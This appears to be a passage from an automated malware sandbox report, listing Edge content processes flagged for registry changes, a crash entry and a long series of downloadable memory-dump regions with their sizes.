                                                                                • Program crash
                                                                                PID:632
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:4716
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:1928
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:812
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:4680
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:4488
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:4948
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:4756
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                                PID:4732

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • memory/596-298-0x0000000002E20000-0x0000000002E35000-memory.dmp

                                                                                Filesize

                                                                                84KB

                                                                                Download

                                                                              • memory/596-291-0x0000000002E20000-0x0000000002E35000-memory.dmp

                                                                                Filesize

                                                                                84KB

                                                                                Download

                                                                              • memory/640-125-0x0000000000460000-0x000000000050E000-memory.dmp

                                                                                Filesize

                                                                                696KB

                                                                                Download

                                                                              • memory/776-114-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                Filesize

                                                                                48KB

                                                                                Download

                                                                              • memory/964-135-0x00000000020C0000-0x0000000002151000-memory.dmp

                                                                                Filesize

                                                                                580KB

                                                                                Download

                                                                              • memory/964-136-0x0000000000400000-0x0000000000492000-memory.dmp

                                                                                Filesize

                                                                                584KB

                                                                                Download

                                                                              • memory/1032-394-0x0000000002EA2000-0x0000000002EA3000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/1032-380-0x0000000002EA0000-0x0000000002EA1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/1032-395-0x0000000002EA5000-0x0000000002EA7000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/1032-390-0x0000000065EC0000-0x0000000067271000-memory.dmp

                                                                                Filesize

                                                                                19.7MB

                                                                                Download

                                                                              • memory/1032-391-0x000000006AB00000-0x000000006AD71000-memory.dmp

                                                                                Filesize

                                                                                2.4MB

                                                                                Download

                                                                              • memory/1032-392-0x0000000006440000-0x00000000077F1000-memory.dmp

                                                                                Filesize

                                                                                19.7MB

                                                                                Download

                                                                              • memory/1032-393-0x0000000002EA1000-0x0000000002EA2000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/1132-137-0x0000000000560000-0x00000000006AA000-memory.dmp

                                                                                Filesize

                                                                                1.3MB

                                                                                Download

                                                                              • memory/1340-372-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/1528-145-0x00000000010E0000-0x00000000010E7000-memory.dmp

                                                                                Filesize

                                                                                28KB

                                                                                Download

                                                                              • memory/1528-146-0x00000000010D0000-0x00000000010DC000-memory.dmp

                                                                                Filesize

                                                                                48KB

                                                                                Download

                                                                              • memory/1612-157-0x00000000001E0000-0x00000000001E9000-memory.dmp

                                                                                Filesize

                                                                                36KB

                                                                                Download

                                                                              • memory/1612-158-0x0000000000400000-0x0000000000452000-memory.dmp

                                                                                Filesize

                                                                                328KB

                                                                                Download

                                                                              • memory/1780-143-0x0000000002E50000-0x0000000002EBB000-memory.dmp

                                                                                Filesize

                                                                                428KB

                                                                                Download

                                                                              • memory/1780-142-0x0000000002EC0000-0x0000000002F34000-memory.dmp

                                                                                Filesize

                                                                                464KB

                                                                                Download

                                                                              • memory/2036-323-0x0000000000C00000-0x0000000000D4A000-memory.dmp

                                                                                Filesize

                                                                                1.3MB

                                                                                Download

                                                                              • memory/2036-324-0x0000000004D10000-0x0000000004DFE000-memory.dmp

                                                                                Filesize

                                                                                952KB

                                                                                Download

                                                                              • memory/2036-325-0x0000000004EC0000-0x0000000004F73000-memory.dmp

                                                                                Filesize

                                                                                716KB

                                                                                Download

                                                                              • memory/2084-296-0x0000000000450000-0x000000000059A000-memory.dmp

                                                                                Filesize

                                                                                1.3MB

                                                                                Download

                                                                              • memory/2084-297-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                Filesize

                                                                                320KB

                                                                                Download

                                                                              • memory/2340-149-0x0000000002F00000-0x0000000002F0B000-memory.dmp

                                                                                Filesize

                                                                                44KB

                                                                                Download

                                                                              • memory/2340-148-0x0000000002F10000-0x0000000002F17000-memory.dmp

                                                                                Filesize

                                                                                28KB

                                                                                Download

                                                                              • memory/2504-152-0x0000000000BE0000-0x0000000000BEF000-memory.dmp

                                                                                Filesize

                                                                                60KB

                                                                                Download

                                                                              • memory/2504-151-0x0000000000BF0000-0x0000000000BF9000-memory.dmp

                                                                                Filesize

                                                                                36KB

                                                                                Download

                                                                              • memory/2628-156-0x0000000002E60000-0x0000000002E69000-memory.dmp

                                                                                Filesize

                                                                                36KB

                                                                                Download

                                                                              • memory/2628-155-0x0000000002E70000-0x0000000002E75000-memory.dmp

                                                                                Filesize

                                                                                20KB

                                                                                Download

                                                                              • memory/2824-161-0x0000000000FD0000-0x0000000000FDC000-memory.dmp

                                                                                Filesize

                                                                                48KB

                                                                                Download

                                                                              • memory/2824-160-0x0000000000FE0000-0x0000000000FE6000-memory.dmp

                                                                                Filesize

                                                                                24KB

                                                                                Download

                                                                              • memory/2896-399-0x00000239704E0000-0x00000239704E1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/2896-400-0x00000239721E0000-0x00000239721E1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/2896-398-0x00000239704C0000-0x00000239704C1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/3048-118-0x0000000000AF0000-0x0000000000B07000-memory.dmp

                                                                                Filesize

                                                                                92KB

                                                                                Download

                                                                              • memory/3048-171-0x0000000000B10000-0x0000000000B26000-memory.dmp

                                                                                Filesize

                                                                                88KB

                                                                                Download

                                                                              • memory/3120-164-0x0000000003090000-0x0000000003099000-memory.dmp

                                                                                Filesize

                                                                                36KB

                                                                                Download

                                                                              • memory/3120-163-0x00000000030A0000-0x00000000030A4000-memory.dmp

                                                                                Filesize

                                                                                16KB

                                                                                Download

                                                                              • memory/3196-379-0x0000000001234000-0x0000000001235000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/3196-371-0x0000000001230000-0x0000000001232000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/3196-384-0x0000000001235000-0x0000000001236000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/3196-378-0x0000000001232000-0x0000000001234000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/3852-167-0x0000000000D70000-0x0000000000D79000-memory.dmp

                                                                                Filesize

                                                                                36KB

                                                                                Download

                                                                              • memory/3852-166-0x0000000000D80000-0x0000000000D85000-memory.dmp

                                                                                Filesize

                                                                                20KB

                                                                                Download

                                                                              • memory/3940-230-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                Filesize

                                                                                320KB

                                                                                Download

                                                                              • memory/3940-229-0x0000000000450000-0x00000000004FE000-memory.dmp

                                                                                Filesize

                                                                                696KB

                                                                                Download

                                                                              • memory/3984-228-0x0000000002EA0000-0x00000000037C6000-memory.dmp

                                                                                Filesize

                                                                                9.1MB

                                                                                Download

                                                                              • memory/3984-231-0x0000000000400000-0x0000000000D41000-memory.dmp

                                                                                Filesize

                                                                                9.3MB

                                                                                Download

                                                                              • memory/3992-182-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                Filesize

                                                                                436KB

                                                                                Download

                                                                              • memory/4008-175-0x0000000000400000-0x0000000000651000-memory.dmp

                                                                                Filesize

                                                                                2.3MB

                                                                                Download

                                                                              • memory/4008-207-0x0000000003470000-0x00000000034D0000-memory.dmp

                                                                                Filesize

                                                                                384KB

                                                                                Download

                                                                              • memory/4008-213-0x00000000036B0000-0x0000000003710000-memory.dmp

                                                                                Filesize

                                                                                384KB

                                                                                Download

                                                                              • memory/4008-191-0x00000000036B0000-0x00000000036C0000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                                Download

                                                                              • memory/4008-197-0x0000000004820000-0x0000000004828000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                                Download

                                                                              • memory/4008-206-0x0000000004AC0000-0x0000000004AC8000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                                Download

                                                                              • memory/4008-185-0x0000000003470000-0x0000000003480000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                                Download

                                                                              • memory/4008-202-0x0000000004AC0000-0x0000000004AC8000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                                Download

                                                                              • memory/4008-198-0x0000000004B60000-0x0000000004B68000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                                Download

                                                                              • memory/4080-170-0x0000000002B10000-0x0000000002B19000-memory.dmp

                                                                                Filesize

                                                                                36KB

                                                                                Download

                                                                              • memory/4080-169-0x0000000002B20000-0x0000000002B25000-memory.dmp

                                                                                Filesize

                                                                                20KB

                                                                                Download

                                                                              • memory/4400-183-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4520-360-0x0000000000400000-0x0000000000417000-memory.dmp

                                                                                Filesize

                                                                                92KB

                                                                                Download

                                                                              • memory/4652-116-0x00000000004F0000-0x00000000004FC000-memory.dmp

                                                                                Filesize

                                                                                48KB

                                                                                Download

                                                                              • memory/4728-401-0x000001AB3CE50000-0x000001AB3CE51000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4840-365-0x0000000000F40000-0x0000000000F42000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/4976-235-0x0000000002170000-0x0000000002172000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/5100-268-0x0000000002493000-0x0000000002494000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5100-269-0x0000000002430000-0x0000000002449000-memory.dmp

                                                                                Filesize

                                                                                100KB

                                                                                Download

                                                                              • memory/5100-262-0x0000000000400000-0x0000000000463000-memory.dmp

                                                                                Filesize

                                                                                396KB

                                                                                Download

                                                                              • memory/5100-266-0x0000000002492000-0x0000000002493000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5100-264-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5100-267-0x0000000004A40000-0x0000000004A41000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5100-263-0x00000000022D0000-0x00000000022EB000-memory.dmp

                                                                                Filesize

                                                                                108KB

                                                                                Download

                                                                              • memory/5100-271-0x0000000004F40000-0x0000000004F41000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5100-261-0x0000000000560000-0x00000000006AA000-memory.dmp

                                                                                Filesize

                                                                                1.3MB

                                                                                Download

                                                                              • memory/5100-272-0x0000000005570000-0x0000000005571000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5100-273-0x0000000005590000-0x0000000005591000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5100-275-0x00000000055F0000-0x00000000055F1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5100-278-0x0000000002494000-0x0000000002496000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/5100-280-0x0000000005780000-0x0000000005781000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download